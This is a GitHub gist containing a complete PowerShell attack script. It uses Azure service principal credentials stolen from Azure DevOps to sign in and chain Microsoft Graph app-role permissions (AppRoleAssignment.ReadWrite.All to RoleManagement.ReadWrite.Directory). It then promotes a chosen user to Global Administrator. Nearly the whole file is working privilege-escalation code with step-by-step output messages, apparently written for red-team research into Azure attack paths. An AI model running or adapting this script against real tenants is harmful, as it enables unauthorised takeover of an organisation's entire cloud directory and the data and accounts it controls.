Created
June 6, 2022 17:54
-
-
Save m8r1us/5babd1d63c25c0199520a0a2f8e4f2e4 to your computer and use it in GitHub Desktop.
AttackPathDevOps-Sp-AppRole-GA.ps1
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# Author: Marius Elmiger (@m8r1us) | |
# Description: Use extracted DevOps Credentials from a Service Principal to grant Global Admin rights by chaining AppRoleAssignment.ReadWrite.All with RoleManagement.ReadWrite.Directory | |
# | |
# The script includes code from from https://gist.github.com/andyrobbins/7e52f6fe255a2dcadb69745dc8640441#file-api-abuse-to-ga-ps1 (@_wald0) | |
# 1 The Azure AD User I want to add to GA Role (objectid) | |
$userToAddToGa = "3bffb11a-b991-4d1f-....." | |
# 2 Extracted information from Azure DevOps | |
$applicationId = "64396535663062302D666163392D....." | |
$servicePrincipalKey = "506D7A4C3346494C7651524A706E6567656254....." | |
$tenantId = "d2fa7646-d9d8-....." | |
# Helper function to let us parse Azure JWTs: | |
function Parse-JWTtoken { | |
<# | |
.DESCRIPTION | |
Decodes a JWT token. This was taken from link below. Thanks to Vasil Michev. | |
.LINK | |
https://www.michev.info/Blog/Post/2140/decode-jwt-access-and-id-tokens-via-powershell | |
#> | |
[cmdletbinding()] | |
param( | |
[Parameter(Mandatory = $True)] | |
[string]$Token | |
) | |
#Validate as per https://tools.ietf.org/html/rfc7519 | |
#Access and ID tokens are fine, Refresh tokens will not work | |
if (-not $Token.Contains(".") -or -not $Token.StartsWith("eyJ")) { | |
Write-Error "Invalid token" -ErrorAction Stop | |
} | |
#Header | |
$tokenheader = $Token.Split(".")[0].Replace('-', '+').Replace('_', '/') | |
#Fix padding as needed, keep adding "=" until string length modulus 4 reaches 0 | |
while ($tokenheader.Length % 4) { | |
Write-Verbose "Invalid length for a Base-64 char array or string, adding =" | |
$tokenheader += "=" | |
} | |
Write-Verbose "Base64 encoded (padded) header: $tokenheader" | |
#Convert from Base64 encoded string to PSObject all at once | |
Write-Verbose "Decoded header:" | |
$header = ([System.Text.Encoding]::ASCII.GetString([system.convert]::FromBase64String($tokenheader)) | convertfrom-json) | |
#Payload | |
$tokenPayload = $Token.Split(".")[1].Replace('-', '+').Replace('_', '/') | |
#Fix padding as needed, keep adding "=" until string length modulus 4 reaches 0 | |
while ($tokenPayload.Length % 4) { | |
Write-Verbose "Invalid length for a Base-64 char array or string, adding =" | |
$tokenPayload += "=" | |
} | |
Write-Verbose "Base64 encoded (padded) payoad: $tokenPayload" | |
$tokenByteArray = [System.Convert]::FromBase64String($tokenPayload) | |
$tokenArray = ([System.Text.Encoding]::ASCII.GetString($tokenByteArray) | ConvertFrom-Json) | |
#Converts $header and $tokenArray from PSCustomObject to Hashtable so they can be added together. | |
#I would like to use -AsHashTable in convertfrom-json. This works in pwsh 6 but for some reason Appveyor isnt running tests in pwsh 6. | |
$headerAsHash = @{} | |
$tokenArrayAsHash = @{} | |
$header.psobject.properties | ForEach-Object { $headerAsHash[$_.Name] = $_.Value } | |
$tokenArray.psobject.properties | ForEach-Object { $tokenArrayAsHash[$_.Name] = $_.Value } | |
$output = $headerAsHash + $tokenArrayAsHash | |
Write-Output $output | |
} | |
# Helper converter functions | |
function Convert-HexToBytes { | |
param($HEX) | |
$HEX = $HEX -split '(..)' | ? { $_ } | |
ForEach ($value in $HEX){ | |
[Convert]::ToInt32($value,16) | |
} | |
} | |
function Convert-AsciiToHex(){ | |
Param($a) | |
$c = '' | |
$b = $a.ToCharArray(); | |
Foreach ($element in $b) { | |
$c = $c + " " + [System.String]::Format("{0:X}", [System.Convert]::ToUInt32($element)) | |
} | |
return $c -replace ' ' | |
} | |
function Convert-HexToAscii() { | |
Param($a) | |
$a -split '(..)' | ? { $_ } | forEach {[char]([convert]::toint16($_,16))} | forEach {$result = $result + $_} | |
return $result | |
} | |
function Convert-BytesToHEX { | |
param($DEC) | |
$tmp = '' | |
ForEach ($value in $DEC){ | |
$a = "{0:x}" -f [Int]$value | |
if ($a.length -eq 1){ | |
$tmp += '0' + $a | |
} else { | |
$tmp += $a | |
} | |
} | |
return $tmp | |
} | |
# Start of the Script | |
# Convert Hex to Ascii | |
$applicationId = Convert-HexToAscii($applicationId) | |
Write-Host "[*] Application Id: $($applicationId)" | |
$servicePrincipalKey = Convert-HexToAscii($servicePrincipalKey) | |
Write-Host "[*] Application Key: $($servicePrincipalKey.substring(0,8))..." | |
# Using the extracted password and connect to Azure | |
Write-Host "[*] Connect-AzAccount: Connect with Application Id: $($applicationId)" | |
$spPassword = ConvertTo-SecureString $servicePrincipalKey -AsPlainText -Force | |
$psCred = New-Object System.Management.Automation.PSCredential($applicationId, $spPassword) | |
Connect-AzAccount -Credential $psCred -TenantID $tenantId -ServicePrincipal | Out-Null | |
# Check to see if we're logged in with Az | |
Write-Host "[+] Login to Azure AZ..." | |
$LoginStatus = Get-AzContext *>&1 | |
# Get a MS graph token for the service principal | |
Write-Host "[+] Get MS Graph Token" | |
$APSUser = Get-AzContext *>&1 | |
$resource = "https://graph.microsoft.com" | |
$token = [Microsoft.Azure.Commands.Common.Authentication.AzureSession]::Instance.AuthenticationFactory.Authenticate(` | |
$APSUser.Account, ` | |
$APSUser.Environment, ` | |
$APSUser.Tenant.Id.ToString(), ` | |
$null, ` | |
[Microsoft.Azure.Commands.Common.Authentication.ShowDialog]::Never, ` | |
$null, ` | |
$resource).AccessToken | |
Write-Host "[*] Assigned Approles:" (Parse-JWTtoken $token).roles | |
Write-Host "[*] Get ServicePrincipal Id of the Application" | |
$serviceprincipalId = Get-AzADServicePrincipal -ApplicationId $applicationId | select-object -ExpandProperty id | |
Write-Host "[*] ServicePrincipal Id: $($serviceprincipalId)" | |
Write-Host "[*] Get AppRoles of the ServicePrincipal and extract the Resource Id" | |
#MS Graph API endpoint is currently not support filters based on appRoleId... | |
#https://graph.microsoft.com/v1.0/servicePrincipals/<id>/appRoleAssignments?$filter=appRoleId eq '06b708a9-e830-4db3-a914-8e69da51d44f' | |
$apiUrl = "https://graph.microsoft.com/v1.0/servicePrincipals/$($serviceprincipalId)/appRoleAssignments?`$select=appRoleId,resourceId" | |
Try { | |
$Data = Invoke-RestMethod -Headers @{Authorization = "Bearer $($token)" } -Uri $apiUrl -Method Get | |
} | |
Catch | |
{ | |
Write-Error $Error[0] | |
} | |
$approles = ($Data | select-object Value).Value | |
if ($approles.appRoleId -contains "9e3f62cf-ca93-4989-b6ce-bf83c28f9fe8") | |
{ | |
Write-Host "[*] AppRole RoleManagement.ReadWrite.Directory: $($approle.appRoleId) already assigned" | |
$roleManagementAssigned = 1 | |
} | |
elseif ($approles.appRoleId -contains "06b708a9-e830-4db3-a914-8e69da51d44f") | |
{ | |
$approles | ForEach-Object { | |
$approle = $_ | |
$resourceId = $approle.ResourceId | |
Write-Host "[*] Resource Id found: $($resourceId)" | |
$roleManagementAssigned = 0 | |
} | |
} | |
else | |
{ | |
Write-Host "[*] AppRoleAssignment.ReadWrite.All AppRole not assigned to the ServicePrincipal: $($serviceprincipalId)" | |
Exit | |
} | |
if (!$roleManagementAssigned) | |
{ | |
# Grant the service principal the "RoleManagement.ReadWrite.Directory" MS Graph app role | |
# 9e3f62cf-ca93-4989-b6ce-bf83c28f9fe8 # RoleManagement.ReadWrite.Directory -> directly promote yourself to GA | |
# 06b708a9-e830-4db3-a914-8e69da51d44f # AppRoleAssignment.ReadWrite.All -> grant yourself the RoleManagement.ReadWrite.Directory role, then promote to GA | |
Write-Host "[+] Assign RoleManagement.ReadWrite.Directory AppRole to $($servicePrincipalId)" | |
$body = @{ | |
principalId = $servicePrincipalId | |
resourceId = $resourceId # Microsoft Graph SP ID | |
appRoleId = "9e3f62cf-ca93-4989-b6ce-bf83c28f9fe8" # RoleManagement.ReadWrite.Directory | |
} | |
try | |
{ | |
Invoke-RestMethod -Headers @{Authorization = "Bearer $($token)" } ` | |
-Uri "https://graph.microsoft.com/v1.0/servicePrincipals/$($servicePrincipalId)/appRoleAssignedTo" ` | |
-Method POST ` | |
-Body $($body | ConvertTo-Json) ` | |
-ContentType 'application/json' | Out-Null | |
} | |
catch | |
{ | |
Write-Warning $Error[0] | |
} | |
# Wait for the assignment | |
Write-Host "[*] Wait 20 seconds..." | |
sleep 20 | |
# Get a new graph token for the service principal | |
Write-Host "[+] Get a new graph token for the service principal" | |
$APSUser = Get-AzContext *>&1 | |
$resource = "https://graph.microsoft.com" | |
$token = [Microsoft.Azure.Commands.Common.Authentication.AzureSession]::Instance.AuthenticationFactory.Authenticate(` | |
$APSUser.Account, ` | |
$APSUser.Environment, ` | |
$APSUser.Tenant.Id.ToString(), ` | |
$null, ` | |
[Microsoft.Azure.Commands.Common.Authentication.ShowDialog]::Never, ` | |
$null, ` | |
$resource).AccessToken | |
Write-Host "[*] Assigned Approles: " (Parse-JWTtoken $token).roles | |
} | |
# Check if user is already member of the role | |
# GA Template id (The same overall Tenants): 62e90394-69f5-4237-9190-012177145e10 | |
Write-Host "[*] Query Global Admin object id" | |
$apiUrl = "https://graph.microsoft.com/v1.0/directoryRoles?`$filter=roleTemplateId eq '62e90394-69f5-4237-9190-012177145e10'&`$select=id" | |
try { | |
$Data = Invoke-RestMethod -Headers @{Authorization = "Bearer $($token)" } -Uri $apiUrl -Method Get | |
} | |
Catch | |
{ | |
Write-Error $Error[0] | |
} | |
$globalAdminId = ($Data | select-object Value).Value.id | |
Write-Host "[*] Query Global Admin members" | |
$apiUrl = "https://graph.microsoft.com/v1.0/directoryRoles/$($globalAdminId)/members?`$select=id,userPrincipalName" | |
try { | |
$Data = Invoke-RestMethod -Headers @{Authorization = "Bearer $($token)" } -Uri $apiUrl -Method Get | |
} | |
Catch | |
{ | |
Write-Error $Error[0] | |
} | |
$globalAdminMembers = ($Data | select-object Value).Value.id | |
# Check if User is already GA | |
if ($globalAdminMembers -contains $userToAddToGa) | |
{ | |
Write-Host "[*] $($userToAddToGa) is already Member of the GA Role" | |
} | |
else | |
{ | |
# Now we use our new "RoleManagement.ReadWrite.Directory" app role to promote $userToAddToGa to Global Admin | |
Write-Host "[+] Add User $($userToAddToGa) to Global Admin" | |
$body = @{ | |
"@odata.id"= "https://graph.microsoft.com/v1.0/directoryObjects/$($userToAddToGa)" | |
} | |
try { | |
Invoke-RestMethod -Headers @{Authorization = "Bearer $($token)" } ` | |
-Uri "https://graph.microsoft.com/v1.0/directoryRoles/$($globalAdminId)/members/`$ref" ` | |
-Method POST ` | |
-Body $($body | ConvertTo-Json) ` | |
-ContentType 'application/json' | Out-Null | |
} Catch { | |
Write-Error $Error[0] | |
} | |
} | |
# Get rid of any tokens or Azure connections in this PowerShell instance | |
Write-Host "[*] Disconnect from AzureAD and Azure ARM" | |
Disconnect-AzAccount | |
$token = $null | |
# Connect with the new GA User | |
$confirmation = Read-Host "[>] Do you want to connect with the new GA User? (y/n)" | |
if ($confirmation -eq 'y') { | |
# Connect to Azure AD with $userToAddToGa | |
Write-Host "[+] Connect to AzureAD with user $userToAddToGa" | |
Connect-AzureAD | |
# Check Role Membership of $userToAddToGa | |
Write-Host "[*] Show AzureAD roles of the User" | |
Get-AzureADDirectoryRoleMember -ObjectID $($globalAdminId) | select DisplayName | |
} | |
Disconnect-AzureAD |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment